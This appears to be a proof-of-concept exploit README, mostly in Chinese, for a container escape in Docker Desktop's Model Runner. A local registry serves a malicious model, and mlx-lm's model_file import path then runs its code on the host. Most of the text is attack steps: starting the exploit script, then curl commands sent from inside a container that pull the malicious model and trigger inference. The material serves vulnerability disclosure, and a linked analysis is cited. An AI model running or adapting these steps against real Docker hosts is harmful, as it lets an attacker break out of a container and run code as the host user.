一个极简的 OCI 注册表,用于提供恶意模型,以利用 mlx-lm 中的 model_file importlib 执行路径。当 Docker Model Runner 加载模型进行推理时,model.py 将以当前登录用户的身份在宿主机上执行。
要求: Docker Desktop ≤ 4.70.x(Apple Silicon)并启用 Model Runner
# 1. Start the registry on the host
python3 poc_cve_2026_5843.py
# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name":"localhost:5555/evil/model:latest"}'
curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
输出将写入宿主机上的 ~/Desktop/mlx.txt。
完整分析文章:https://davidrochester.com/posts/container-escape-via-inference
trust_remote_code=True,相同的攻击面,已在 Docker Desktop 4.68.0 中修复。